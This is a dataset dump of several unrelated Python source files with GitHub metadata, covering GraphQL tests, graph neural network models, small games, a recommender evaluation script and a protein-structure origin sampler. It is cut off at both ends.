:: 3\",\n \"Operating System :: MacOS :: MacOS X\",\n \"Operating System :: Microsoft :: Windows\",\n ]\n)\n","repo_name":"krlennon/mastercurves","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1331,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"47"} +{"seq_id":"7555296632","text":"from django.test import RequestFactory, override_settings\nfrom test_grapple import BaseGrappleTestWithIntrospection\nfrom testapp.factories import AdvertFactory\n\n\nclass AdvertTest(BaseGrappleTestWithIntrospection):\n @classmethod\n def setUpTestData(cls):\n super().setUpTestData()\n cls.richtext_sample = (\n f'Text with a \\'link\\' to Home'\n )\n cls.richtext_sample_rendered = (\n f\"Text with a 'link' to Home\"\n )\n cls.advert = AdvertFactory(\n rich_text=cls.richtext_sample, extra_rich_text=cls.richtext_sample\n )\n\n def setUp(self):\n super().setUp()\n self.request = RequestFactory()\n\n def validate_advert(self, advert):\n # Check all the fields\n self.assertTrue(isinstance(advert[\"id\"], str))\n self.assertTrue(isinstance(advert[\"url\"], str))\n self.assertTrue(isinstance(advert[\"text\"], str))\n\n def test_advert_all_query(self):\n query = \"\"\"\n {\n adverts {\n id\n url\n text\n }\n }\n \"\"\"\n executed = self.client.execute(query, context_value=self.request)\n advert = executed[\"data\"][\"adverts\"][0]\n\n # Check all the fields\n self.validate_advert(advert)\n\n def test_advert_single_query(self):\n query = \"\"\"\n query($url: String) {\n advert(url: $url) {\n id\n url\n text\n }\n }\n \"\"\"\n executed = self.client.execute(\n query, variables={\"url\": self.advert.url}, context_value=self.request\n )\n advert = executed[\"data\"][\"advert\"]\n\n # Check all the fields\n self.validate_advert(advert)\n\n def test_advert_all_query_required(self):\n adverts_query = list(\n filter(\n lambda x: x[\"name\"] == \"adverts\",\n self.introspect_schema_for_available_queries(),\n )\n )[0]\n adverts_query_type = adverts_query[\"type\"][\"ofType\"]\n\n self.assertEqual(adverts_query[\"type\"][\"kind\"], \"NON_NULL\")\n self.assertEqual(adverts_query_type[\"kind\"], \"LIST\")\n self.assertEqual(adverts_query_type[\"ofType\"][\"kind\"], \"NON_NULL\")\n self.assertEqual(adverts_query_type[\"ofType\"][\"ofType\"][\"kind\"], \"OBJECT\")\n self.assertEqual(adverts_query_type[\"ofType\"][\"ofType\"][\"name\"], \"Advert\")\n\n def test_advert_single_query_required(self):\n advert_query = list(\n filter(\n lambda x: x[\"name\"] == \"advert\",\n self.introspect_schema_for_available_queries(),\n )\n )[0]\n advert_query_type = advert_query[\"type\"][\"ofType\"]\n\n self.assertEqual(advert_query[\"type\"][\"kind\"], \"NON_NULL\")\n self.assertEqual(advert_query_type[\"kind\"], \"OBJECT\")\n self.assertEqual(advert_query_type[\"name\"], \"Advert\")\n\n def test_advert_single_query_rich_text(self):\n query = \"\"\"\n query($url: String) {\n advert(url: $url) {\n richText\n stringRichText\n extraRichText\n }\n }\n \"\"\"\n executed = self.client.execute(\n query, variables={\"url\": self.advert.url}, context_value=self.request\n )\n advert = executed[\"data\"][\"advert\"]\n\n # Field declared with GraphQLRichText\n self.assertEqual(advert[\"richText\"], self.richtext_sample_rendered)\n\n # Declared with GraphQLString, custom field source\n self.assertEqual(advert[\"stringRichText\"], self.richtext_sample_rendered)\n\n # Declared with GraphQLString, default field source\n self.assertEqual(advert[\"extraRichText\"], self.richtext_sample_rendered)\n\n with override_settings(GRAPPLE={\"RICHTEXT_FORMAT\": \"raw\"}):\n executed = self.client.execute(\n query, variables={\"url\": self.advert.url}, context_value=self.request\n )\n advert = executed[\"data\"][\"advert\"]\n self.assertEqual(advert[\"richText\"], self.richtext_sample)\n self.assertEqual(advert[\"stringRichText\"], self.richtext_sample)\n self.assertEqual(advert[\"extraRichText\"], self.richtext_sample)\n","repo_name":"torchbox/wagtail-grapple","sub_path":"tests/test_advert.py","file_name":"test_advert.py","file_ext":"py","file_size_in_byte":4314,"program_lang":"python","lang":"en","doc_type":"code","stars":144,"dataset":"github-code","pt":"47"} +{"seq_id":"228242356","text":"# -*- coding: utf-8 -*-\n\ndef find_min_complain(prefers):\n min_complain = []\n weight = []\n\n for prefer in zip(*prefers):\n prefer_one = prefer.count(1)\n prefer_zero = prefer.count(0)\n if prefer_one > prefer_zero:\n min_complain.append(1)\n else:\n min_complain.append(0)\n weight.append((prefer_one, prefer_zero))\n return tuple(min_complain), weight\n\n\ndef cal_complain(comb, weight):\n complain = 0\n for c, w in zip(comb, weight):\n complain += w[c]\n return complain\n\n\ndef find_all_children(comb):\n children = []\n list_comb = list(comb)\n for i in range(len(list_comb)):\n list_comb[i] = 0 if list_comb[i] else 1\n children.append(tuple(list_comb))\n list_comb[i] = 0 if list_comb[i] else 1\n return children\n\n\ndef allowed_min_complain(prefers, forbids):\n history = set()\n cur, weight = find_min_complain(prefers)\n while cur in forbids:\n history.add(cur)\n min_v = float('inf')\n for h in history:\n for child in find_all_children(h):\n if child in history:\n continue\n child_v = cal_complain(child, weight)\n if min_v > child_v:\n cur = child\n min_v = child_v\n\n return cal_complain(cur, weight)\n\n\ndef main():\n cases = []\n file_name = 'test_milk_tea'\n infile_name = file_name + '.in'\n outfile_name = file_name + '.out'\n with open(infile_name, 'r') as f:\n count = int(f.readline())\n for _ in range(count):\n l = f.readline().split()\n n = int(l[0])\n m = int(l[1])\n p = int(l[2])\n prefers = []\n for _ in range(n):\n prefers.append(tuple(map(int, f.readline().strip())))\n forbids = set()\n for _ in range(m):\n forbids.add(tuple(map(int, f.readline().strip())))\n cases.append((prefers, forbids))\n with open(outfile_name, 'w') as f:\n for idx, case in enumerate(cases, start=1):\n eaten = allowed_min_complain(case[0], case[1])\n line = 'Case #{}: {}'.format(idx, eaten)\n f.write(line + '\\n')\n print(line)\n\nmain()\n","repo_name":"okoks9011/problem_solving","sub_path":"kickstart/2018_round_e/milk_tea.py","file_name":"milk_tea.py","file_ext":"py","file_size_in_byte":2258,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"} +{"seq_id":"25690162897","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nfrom torch_geometric.nn import GCNConv, GATConv, global_mean_pool, global_max_pool, GENConv, DeepGCNLayer, SAGPooling, \\\n BatchNorm\n\n\nclass GCN_8_plus(torch.nn.Module):\n def __init__(self, num_features, num_classes, initdim = 16, inithead = 16):\n super(GCN_8_plus, self).__init__()\n self.conv1 = GATConv(num_features, initdim, heads=inithead, edge_dim=3)\n self.BatchNorm1 = BatchNorm(initdim * inithead)\n self.conv_linear1 = torch.nn.Linear(initdim * inithead, initdim)\n self.BatchNorml1 = BatchNorm(initdim)\n\n self.conv2 = GATConv(initdim, initdim * 2, heads = int(inithead / 2), edge_dim=3)\n self.BatchNorm2 = BatchNorm(initdim * inithead)\n self.conv_linear2 = torch.nn.Linear(initdim * inithead, initdim * 2)\n self.BatchNorml2 = BatchNorm(initdim * 2)\n\n self.conv3 = GATConv(initdim * 2, initdim * 4, heads = int(inithead / 4), edge_dim=3) \n self.BatchNorm3 = BatchNorm(initdim * inithead)\n\n # self.drop = torch.nn.Dropout(0.5)\n self.linear = torch.nn.Linear(initdim * inithead, num_classes)\n\n def forward(self, data):\n x = data.x\n\n adj = data.edge_index\n edge_attr = data.edge_attr\n batch = data.batch\n\n # block 1\n x = self.conv1(x, adj, edge_attr)\n x = self.BatchNorm1(x)\n x = F.relu(x)\n x = self.conv_linear1(x)\n x = self.BatchNorml1(x)\n x = F.relu(x)\n # block2\n\n x = self.conv2(x, adj, edge_attr)\n x = self.BatchNorm2(x)\n x = F.relu(x)\n x = self.conv_linear2(x)\n x = self.BatchNorml2(x)\n x = F.relu(x)\n\n # block 3\n x = self.conv3(x, adj, edge_attr)\n x = self.BatchNorm3(x)\n x = F.relu(x)\n\n x = global_mean_pool(x, batch)\n # x = self.drop(x)\n x = self.linear(x)\n\n return x\n\n\nclass GCN_Layer_4(torch.nn.Module):\n def __init__(self, num_features, num_classes, initdim = 16, inithead = 16):\n super(GCN_Layer_4, self).__init__()\n self.conv1 = GATConv(num_features, initdim, heads=inithead, edge_dim=3)\n self.BatchNorm1 = BatchNorm(initdim * inithead)\n self.conv_linear1 = torch.nn.Linear(initdim * inithead, initdim)\n self.BatchNorml1 = BatchNorm(initdim)\n\n self.conv2 = GATConv(initdim, initdim * 2, heads = int(inithead / 2), edge_dim=3)\n self.BatchNorm2 = BatchNorm(initdim * inithead)\n self.conv_linear2 = torch.nn.Linear(initdim * inithead, initdim * 2)\n self.BatchNorml2 = BatchNorm(initdim * 2)\n\n self.conv3 = GATConv(initdim * 2, initdim * 4, heads = int(inithead / 4), edge_dim=3) \n self.BatchNorm3 = BatchNorm(initdim * inithead)\n self.conv_linear3 = torch.nn.Linear(initdim * inithead, initdim * 4)\n self.BatchNorml3 = BatchNorm(initdim * 4)\n\n self.conv4 = GATConv(initdim * 4, initdim * 8, heads = int(inithead / 8), edge_dim=3) \n self.BatchNorm4 = BatchNorm(initdim * inithead)\n\n # self.drop = torch.nn.Dropout(0.5)\n self.linear = torch.nn.Linear(initdim * inithead, num_classes)\n\n def forward(self, data):\n x = data.x\n\n adj = data.edge_index\n edge_attr = data.edge_attr\n batch = data.batch\n # print(\"batch\",data.batch.shape)\n # edge_attr = data.edge_attr\n # x, att1 = self.conv1(x, adj, return_attention_weights=True)\n\n # block 1\n x = self.conv1(x, adj, edge_attr)\n x = self.BatchNorm1(x)\n x = F.relu(x)\n x = self.conv_linear1(x)\n x = self.BatchNorml1(x)\n x = F.relu(x)\n\n # block2\n x = self.conv2(x, adj, edge_attr)\n x = self.BatchNorm2(x)\n x = F.relu(x)\n x = self.conv_linear2(x)\n x = self.BatchNorml2(x)\n x = F.relu(x)\n\n # block 3\n x = self.conv3(x, adj, edge_attr)\n x = self.BatchNorm3(x)\n x = F.relu(x)\n x = self.conv_linear3(x)\n x = self.BatchNorml3(x)\n x = F.relu(x)\n\n # block 4\n x = self.conv4(x, adj, edge_attr)\n x = self.BatchNorm4(x)\n x = F.relu(x)\n\n x = global_mean_pool(x, batch)\n # x = self.drop(x)\n x = self.linear(x)\n\n return x\n\n\nclass GCN_block(torch.nn.Module):\n def __init__(self, input_dims, output_dims, head_nums, do_linear=True,linear_outdims=None):\n super(GCN_block, self).__init__()\n\n self.do_linear=do_linear\n self.conv0 = GATConv(input_dims,output_dims,heads=head_nums,edge_dim=3)\n self.BN0 = BatchNorm(output_dims*head_nums)\n self.relu = torch.nn.ReLU()\n if self.do_linear:\n self.linear = torch.nn.Linear(output_dims*head_nums,linear_outdims)\n self.BN1 = BatchNorm(linear_outdims)\n\n\n\n def forward(self, x, adj,edge_attr):\n\n x = self.conv0(x, adj,edge_attr=edge_attr)\n x = self.BN0(x)\n x = self.relu(x)\n\n if self.do_linear:\n x = self.linear(x)\n\n x = self.BN1(x)\n x = self.relu(x)\n\n return x\n \n \nclass GCN(torch.nn.Module):\n def __init__(self,num_features,num_classes,init_out_dim=16,init_head_num=48):\n super(GCN, self).__init__()\n\n self.block1 = GCN_block(num_features,init_out_dim,init_head_num,linear_outdims=init_out_dim) # 10 ->16\n\n self.block2 = GCN_block(init_out_dim,init_out_dim * 2,int(init_head_num/2),linear_outdims=init_out_dim*2) # 16 ->32\n\n self.block3 = GCN_block(init_out_dim * 2, init_out_dim * 4, int(init_head_num / 4),linear_outdims=init_out_dim * 4) # 32 ->64\n\n self.block4 = GCN_block(init_out_dim * 4, init_out_dim * 8, int(init_head_num / 8),linear_outdims=init_out_dim * 8) # 64 -> 128\n\n self.block5 = GCN_block(init_out_dim * 8, init_out_dim * 16, int(init_head_num / 16),do_linear=False) #128 -> 256\n\n self.head = torch.nn.Linear(init_out_dim *init_head_num, num_classes)\n \n def forward(self,data):\n x = data.x\n\n adj = data.edge_index\n edge_attr =data.edge_attr\n\n batch = data.batch\n\n x = self.block1(x,adj,edge_attr)\n x = self.block2(x, adj,edge_attr)\n x = self.block3(x, adj,edge_attr)\n x = self.block4(x, adj,edge_attr)\n x = self.block5(x, adj,edge_attr)\n\n x = global_mean_pool(x,batch)\n x = self.head(x)\n return x","repo_name":"ddw2AIGROUP2CQUPT/GRIG","sub_path":"cifar-10/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":6420,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"47"} +{"seq_id":"37216592252","text":"from tkinter import *\nimport random\n# initialize window\nroot = Tk()\nroot.geometry('800x600')\nroot.resizable(0,0) #allow window reside\nroot.title('Rock,Paper,Scissors Game')\nroot.config(bg ='silver')\nLabel(root, text = 'Rock, Paper ,Scissors' , font='arial 18 bold', bg = 'orange').pack()\n\nuser_choice = StringVar()\nLabel(root, text = 'Please enter your choice: rock, paper or scissors' , font='arial 12 bold', bg = 'seashell2').place(x = 210,y=70)\nEntry(root, font = 'arial 15', textvariable = user_choice , bg = 'lightblue').place(x=290 , y = 130) #Create an input text field\nResult = StringVar()\n\ndef gameStart():\n comp_choice = random.choice([1, 2, 3])\n if comp_choice == 1:\n comp_choice = 'rock'\n elif comp_choice ==2:\n comp_choice = 'paper'\n else:\n comp_choice = 'scissors'\n user_pick = user_choice.get()\n if user_pick == comp_choice:\n Result.set('It is a tie!')\n elif user_pick == 'rock' and comp_choice == 'paper':\n Result.set('Too bad, you lost, computer picked ' + comp_choice)\n elif user_pick == 'rock' and comp_choice == 'scissors':\n Result.set('Congrat, you win, computer picked ' + comp_choice)\n elif user_pick == 'paper' and comp_choice == 'scissors':\n Result.set('Better luck next time, computer picked ' + comp_choice)\n elif user_pick == 'paper' and comp_choice == 'rock':\n Result.set('Nice, a win for you, computer picked ' + comp_choice)\n elif user_pick == 'scissors' and comp_choice == 'rock':\n Result.set('Oh dear, a lost for you, computer picked ' + comp_choice)\n elif user_pick == 'scissors' and comp_choice == 'paper':\n Result.set('You beat the computer, it picked ' + comp_choice)\n else:\n Result.set('Invalid input, please only choose: rock, paper or scissors')\n\ndef resetGame():\n Result.set(\"\") \n user_choice.set(\"\")\n \ndef exitGame():\n root.destroy() #stop the main loop to quit the game\n\nEntry(root, font = 'arial 9 bold', textvariable = Result, bg ='green',width = 50,).place(x=220, y = 250)\nButton(root, font = 'arial 12 bold', text = 'Start' ,padx =5,bg ='yellow' ,command = gameStart).place(x=370,y=190)\nButton(root, font = 'arial 12 bold', text = 'Reset' ,padx =5,bg ='red' ,command = resetGame).place(x=250,y=310)\nButton(root, font = 'arial 12 bold', text = 'Quit' ,padx =5,bg ='blue' ,command = exitGame).place(x=480,y=310)\nroot.mainloop() #a method on the main window which we execute when we want to run our application. \n#This method will loop forever, until user exit the program","repo_name":"HungNewbie/gamePython","sub_path":"rockpaperscizzors/RPS.py","file_name":"RPS.py","file_ext":"py","file_size_in_byte":2547,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"6287378500","text":"import gi\n\ngi.require_version(\"Gtk\", \"3.0\")\nfrom gi.repository import Gtk\n\n\nclass Aplicacion:\n def __init__(self):\n builder = Gtk.Builder()\n builder.add_from_file(\"saludo.glade\")\n\n ventanaPrincipal = builder.get_object(\"VentanaPrincipal\")\n self.txtNombre = builder.get_object(\"txtNombre\")\n self.lblSaludo = builder.get_object(\"lblSaludo\")\n\n # ventanaPrincipal.show_all()\n # ventanaPrincipal.connect(\"delete-event\",Gtk.main_quit)\n\n sinais = {\"gtk_main_quit\": Gtk.main_quit,\n \"on_txtNombre_activate\": self.on_txtNombre_clicked,\n \"on_botonSaludar_clicked\": self.on_txtNombre_clicked\n }\n\n builder.connect_signals(sinais)\n\n def on_txtNombre_clicked(self, control):\n self.lblSaludo.set_text(\"Hola \" + self.txtNombre.get_text())\n\n\nif __name__ == \"__main__\":\n Aplicacion()\n Gtk.main()\n","repo_name":"EricBorder/VentanaGTK","sub_path":"PruebaGlade.py","file_name":"PruebaGlade.py","file_ext":"py","file_size_in_byte":910,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"11810432700","text":"import numpy as np\nimport os\n\ndef test(testcases, directory = \"\"):\n diffSum = 0\n totalNum = 0\n\n for u in testcases:\n testFile = directory + \"u\" + str(u) + \".test\"\n resultFile = directory + \"u\" + str(u) + \".base_prediction.txt\"\n\n with open(testFile, 'r') as f:\n lines1 = f.readlines()\n\n with open(resultFile, 'r') as f:\n lines2 = f.readlines()\n\n tmp = diffSum\n for i in range(len(lines1)): # user id | item id | rating | timestamp\n user, item, answer, ___ = list(map(int, lines1[i].split()))\n ___, ___, predict = list(map(int, lines2[i].split()))\n\n diffSum += (answer - predict) ** 2\n\n # if answer != predict:\n # print(\"user:\",user,\"item:\",item,answer, predict)\n\n print(\"#\", u, \" rmse:\", np.sqrt((diffSum - tmp)/len(lines1)))\n\n totalNum += len(lines1)\n\n rmse = np.sqrt(diffSum /totalNum)\n # rmse = diffSum\n\n return rmse\n\nif __name__ == \"__main__\":\n testcases = [1,2,3,4,5]\n directory=\"data-2/\"\n \n cmds = \"\"\n for i in testcases:\n cmds += \"python3 recommender.py \" + directory + \"u\" + str(i) + \".base \" + directory + \"u\" + str(i) + \".test\\n\"\n\n # testcases = [1]\n os.system(cmds)\n print(\"전체 rmse\", test(testcases, directory=\"data-2/\"))","repo_name":"unae131/DataScience","sub_path":"recommendation system/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":1321,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"28992213212","text":"\"\"\"\\\nEach training example is composed of two nearby \"views\" of the same structure. \nThis module is concerned with determining whether or not a view centered at a \nparticular origin should be included in the dataset.\n\nCurrently, some of the basic ideas are:\n\n- A view must have a certain number of \"biological\" atoms nearby. A biological \n atom is one that is probably not a crystallization artifact, or solvent.\n\n Part of the purpose of looking at nearby atoms is to discourage training on \n surface regions, since we don't want to train on examples that genuinely \n don't have enough information to make a prediction. We also don't want the \n network to get in the habit of guessing based on the orientation of the \n surface.\n\n- Instead of considering every possible point as a potential origin, it may be \n helpful to consider a discrete set of such points, e.g. all the atoms in a \n structure.\n\nIn the future, I'd also like to threshold on more factors, e.g.:\n\n- The specific atoms in each view, to avoid redundancy.\n- The quality of the structure.\n\"\"\"\n\nimport numpy as np\nimport pandas as pd\nimport pandera as pa\nimport json\n\nfrom atompaint.datasets.coords import Coord, Coords3\nfrom atompaint.datasets.atoms import (\n get_atom_coords, atoms_from_tag, filter_nonbiological_atoms,\n)\nfrom scipy.spatial import KDTree\nfrom pandera.typing import DataFrame, Series\nfrom numpy.typing import NDArray\nfrom dataclasses import dataclass, asdict\nfrom pathlib import Path\nfrom shutil import rmtree\nfrom typing import TypeAlias\n\n@dataclass\nclass OriginParams:\n radius_A: float\n min_nearby_atoms: int\n\n@dataclass\nclass OriginFilteringAtoms:\n kd_tree: NDArray\n occupancies: NDArray\n\nclass OriginsSchema(pa.DataFrameModel):\n tag: Series[str]\n x: Series[float]\n y: Series[float]\n z: Series[float]\n\nOrigins: TypeAlias = DataFrame[OriginsSchema]\n\ndef choose_origins_for_tags(tags, origin_params):\n dfs = []\n status = {\n 'tags_skipped': [],\n 'tags_loaded': [],\n }\n\n for tag in tags:\n try:\n atoms = atoms_from_tag(tag)\n except FileNotFoundError:\n status['tags_skipped'].append(tag)\n continue\n\n df = choose_origins_for_atoms(tag, atoms, origin_params)\n dfs.append(df)\n\n status['tags_loaded'].append(tag)\n\n df = pd.concat(dfs, ignore_index=True)\n df['tag'] = df['tag'].astype('category')\n return df, status\n\ndef choose_origins_for_atoms(tag, atoms, origin_params):\n coords = filter_origin_coords(\n get_atom_coords(atoms),\n origin_params,\n select_origin_filtering_atoms(atoms),\n )\n origins = pd.DataFrame(coords, columns=['x', 'y', 'z'])\n origins['tag'] = tag\n return origins\n\ndef select_origin_filtering_atoms(atoms):\n \"\"\"\n Determine which atoms should be considered when filtering origins.\n\n The returned data structure contains a lot of the same information as the \n usual ``atoms`` data frame, but the atom coordinates are stored in a KD \n tree for faster neighbor lookups.\n \"\"\"\n atoms = filter_nonbiological_atoms(atoms)\n xyz = get_atom_coords(atoms)\n return OriginFilteringAtoms(\n kd_tree=KDTree(xyz),\n occupancies=atoms['occupancy'].values,\n )\n\ndef filter_origin_coords(coords_A, origin_params, filtering_atoms):\n n = _count_nearby_atoms(coords_A, filtering_atoms, origin_params.radius_A)\n return coords_A[n >= origin_params.min_nearby_atoms]\n\ndef _count_nearby_atoms(coords_A, filtering_atoms, radius_A):\n \"\"\"\n Calculate the number of atoms within the given radius of the given coordinates.\n\n The counts will account for occupancy.\n \"\"\"\n kd_tree = filtering_atoms.kd_tree\n occupancies = filtering_atoms.occupancies\n\n # It's ok to call this function with just a single coordinate, but the rest \n # of the code assumes that the input coordinate array is 2D (e.g. this \n # affect the shape of the `query_ball_point()` return value), so here we \n # have to add the second dimension (if necessary).\n coords_A.shape = (1, *coords_A.shape)[-2:]\n\n # If this is a bottleneck, `query_ball_tree()` might be faster.\n hits = kd_tree.query_ball_point(coords_A, radius_A)\n\n counts = np.zeros(len(coords_A))\n for i, neighbors in enumerate(hits):\n for j in neighbors:\n counts[i] += occupancies[j]\n return counts\n\ndef get_origin_coord(origins: Origins, i: int) -> Coord:\n # Important to select columns before `iloc`: This ensures that the\n # resulting array is of dtype float rather than object, because all of the\n # selected rows are float.\n return origins[['x', 'y', 'z']].iloc[i].to_numpy()\n\ndef get_origin_coords(origins: Origins) -> Coords3:\n return origins[['x', 'y', 'z']].to_numpy()\n\ndef get_origin_tag(origins: Origins, i: int) -> str:\n return origins.iloc[i]['tag']\n\nclass ParquetOriginSampler:\n # Store metadata in a pandas data frame loaded into memory.\n\n def __init__(self, origins_path):\n self.origins = load_origins(origins_path)\n _, self.params = load_origin_params(origins_path)\n\n # Without this grouping, getting all the origins from a certain tag\n # would require iterating over every origin, and would be a performance\n # bottleneck. Note that it's slightly faster to create a dictionary\n # here, instead of relying on the `groupby` object. But this approach\n # uses half as much memory (see expt #224), and I think that's more\n # likely to matter than the speed difference.\n self.origins_by_tag = self.origins.groupby('tag')\n\n def sample(self, rng):\n from .utils import sample_origin\n origin_a, tag = sample_origin(rng, self.origins)\n origins_b = self.origins_by_tag.get_group(tag)\n return tag, origin_a, origins_b, atoms_from_tag(tag)\n\n\nclass SqliteOriginSampler:\n \"\"\"\n Load metadata from an SQLite database\n\n This is both faster than, and \n \"\"\"\n\n select_origin_a = 'SELECT tag_id, x, y, z FROM origins WHERE rowid=?'\n select_tag = 'SELECT tag FROM tags WHERE id=?'\n select_origins_b = 'SELECT x, y, z FROM origins WHERE tag_id=?'\n\n def __init__(self, origins_path):\n import sqlite3\n\n origins_path = Path(origins_path)\n self.db_path = origins_path / 'origins.db'\n\n # Assume that no rows are ever deleted from the database.\n db = sqlite3.connect(self.db_path)\n count_origins = 'SELECT MAX(rowid) FROM origins'\n self.num_origins = db.execute(count_origins).fetchone()[0]\n db.close()\n\n _, self.params = load_origin_params(origins_path)\n\n def sample(self, rng):\n\n # When doing multiprocess data loading, we can't connect to the\n # database until we're in the child process. \n if not hasattr(self, 'db'):\n import sqlite3\n self.db = sqlite3.connect(self.db_path)\n\n cur = self.db.cursor()\n i = rng.integers(self.num_origins, dtype=int) + 1\n\n tag_id, *origin_a = cur.execute(self.select_origin_a, (i,)).fetchone()\n tag, = cur.execute(self.select_tag, (tag_id,)).fetchone()\n origins_b = cur.execute(self.select_origins_b, (tag_id,)).fetchall()\n\n origin_a = np.array(origin_a)\n origins_b = pd.DataFrame(origins_b, columns=['x', 'y', 'z'])\n\n # Necessary because I reuse the `sample_origin()` function on \n # `origins_b`. Really, `origins_b` should just be the coordinates and \n # not the tag, since we've already picked the tag at this point. It \n # should probably also be a numpy array.\n origins_b['tag'] = tag\n atoms = atoms_from_tag(tag)\n\n return tag, origin_a, origins_b, atoms\n\n\ndef load_origins(path: Path):\n dfs = [\n pd.read_parquet(p).drop(columns='weight', errors='ignore')\n for p in sorted(path.glob('origins.parquet*'))\n ]\n df = pd.concat(dfs, ignore_index=True)\n df['tag'] = df['tag'].astype('category')\n return df\n\ndef load_origin_params(path: Path):\n with open(path / 'params.json') as f:\n params = json.load(f)\n\n tags = params.pop('tags')\n origin_params = OriginParams(**params)\n\n return tags, origin_params\n\ndef copy_origins_to_tmp(path: Path):\n import tempfile, shutil\n\n tmp = tempfile.TemporaryDirectory(\n prefix='atompaint_',\n )\n tmp_dir = Path(tmp.name)\n\n shutil.copy2(path / 'origins.db', tmp_dir / 'origins.db')\n shutil.copy2(path / 'params.json', tmp_dir / 'params.json')\n\n return tmp\n\ndef save_origins(path: Path, df, status, suffix=None):\n if suffix:\n worker_id, num_workers = suffix\n suffix = f'.{worker_id:0{len(str(num_workers - 1))}}'\n else:\n suffix = ''\n\n df.to_parquet(path / f'origins.parquet{suffix}')\n \n with open(path / f'status.json{suffix}', 'w') as f:\n json.dump(status, f)\n\ndef save_origin_params(path: Path, tags, origin_params, force=False):\n if path.exists():\n if force or not any(path.glob('origins.parquet*')):\n rmtree(path)\n else:\n raise FileExistsError(path)\n\n path.mkdir()\n\n params = {\n 'tags': list(tags),\n **asdict(origin_params),\n }\n with open(path / 'params.json', 'w') as f:\n json.dump(params, f)\n\ndef consolidate_origins(path: Path, dry_run: bool=False):\n df = load_origins(path)\n status = {'tags_skipped': [], 'tags_loaded': []}\n\n for p in path.glob('status.json*'):\n with open(p) as f:\n status_i = json.load(f)\n\n status['tags_loaded'] += status_i['tags_loaded']\n status['tags_skipped'] += status_i['tags_skipped']\n\n if not dry_run:\n save_origins(path, df, status)\n\n for p in path.glob('origins.parquet.*'):\n p.unlink()\n for p in path.glob('status.json.*'):\n p.unlink()\n\n return df, status\n\n\n","repo_name":"kalekundert/atompaint","sub_path":"atompaint/transform_pred/datasets/origins.py","file_name":"origins.py","file_ext":"py","file_size_in_byte":9910,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"37642532226","text":"import pygame\r\nimport random\r\n\r\nclass Pipe():\r\n # Travel speed of pipe on x-axis\r\n VEL = 5\r\n\r\n def __init__(self, x, level, pipe_img):\r\n self.level = level\r\n\r\n # GAP BASED ON LEVEL\r\n if self.level == 1:\r\n self.gap = random.randint(220,250)\r\n elif self.level == 2:\r\n self.gap = random.randint(200, 250)\r\n elif self.level == 3:\r\n self.gap = random.randint(200, 220)\r\n elif self.level == 4:\r\n self.gap = random.randint(180, 220)\r\n elif self.level == 5:\r\n self.gap = random.randint(180, 200)\r\n elif self.level == 6:\r\n self.gap = random.randint(150, 200)\r\n elif self.level == 7:\r\n self.gap = random.randint(150, 180)\r\n elif self.level == 8:\r\n self.gap = random.randint(130, 180)\r\n else:\r\n self.gap = random.randint(130,150)\r\n\r\n self.x = x\r\n self.height = 0\r\n\r\n # where the top and bottom of the pipe is\r\n self.top = 0\r\n self.bottom = 0\r\n\r\n self.PIPE_TOP = pygame.transform.flip(pipe_img, False, True)\r\n self.PIPE_BOTTOM = pipe_img\r\n\r\n self.passed = False\r\n\r\n self.set_height()\r\n\r\n def set_height(self):\r\n # height of pipe\r\n self.height = random.randrange(50, 450)\r\n self.top = self.height - self.PIPE_TOP.get_height()\r\n self.bottom = self.height + self.gap\r\n\r\n def move(self, vel):\r\n # moving pipe\r\n self.x -= vel\r\n\r\n def draw(self, win):\r\n # draw top pipe\r\n win.blit(self.PIPE_TOP, (self.x, self.top))\r\n # draw bottom pipe\r\n win.blit(self.PIPE_BOTTOM, (self.x, self.bottom))\r\n\r\n\r\n def collide(self, bird):\r\n # check if pipe is colliding with bird\r\n bird_mask = bird.get_mask()\r\n top_mask = pygame.mask.from_surface(self.PIPE_TOP)\r\n bottom_mask = pygame.mask.from_surface(self.PIPE_BOTTOM)\r\n top_offset = (self.x - bird.pos_x, self.top - round(bird.pos_y))\r\n bottom_offset = (self.x - bird.pos_x, self.bottom - round(bird.pos_y))\r\n\r\n b_point = bird_mask.overlap(bottom_mask, bottom_offset)\r\n t_point = bird_mask.overlap(top_mask,top_offset)\r\n\r\n if b_point or t_point:\r\n return True\r\n\r\n return False\r\n","repo_name":"hlweber/NEAT-FlappyBird","sub_path":"pipes.py","file_name":"pipes.py","file_ext":"py","file_size_in_byte":2306,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"} +{"seq_id":"74440174223","text":"n, m = map(int, input().split())\nboard = [list(map(int, input().split())) for _ in range(n)]\n\n\ndef do(r, c, k):\n gold = 0\n visit = [[False] * n for _ in range(n)]\n visit[r][c] = True\n q = [(r, c, 0)]\n\n while q:\n r, c, dis = q.pop(0)\n gold += int(board[r][c])\n for d in [(-1, 0), (1, 0), (0, -1), (0, 1)]:\n nr = r + d[0]\n nc = c + d[1]\n if nr >= n or nc >= n or nr < 0 or nc < 0:\n continue\n if visit[nr][nc]:\n continue\n if dis + 1 > k:\n continue\n visit[nr][nc] = True\n q.append((nr, nc, dis + 1))\n\n return gold\n\n\nanswer = 0\n\nfor i in range(n):\n for j in range(n):\n for k in range(n):\n cost = k ** 2 + (k + 1) ** 2\n gold = do(i, j, k)\n if cost <= gold * m:\n answer = max(answer, gold)\n\nprint(answer)\n","repo_name":"korjun1993/algo","sub_path":"src/codetree/시뮬레이션/격자 안에서 완전탐색/금 채굴하기.py","file_name":"금 채굴하기.py","file_ext":"py","file_size_in_byte":917,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"47"} +{"seq_id":"37242042487","text":"\"\"\"salmonspam module.\n\nThis module contains the Spam class which is instantiated from the salmonconclude module.\nThis class holds the information about email rating. Methods in this class\ncan change email rating based on checkpoints in salmonconclude.\nAuthor: Silvie 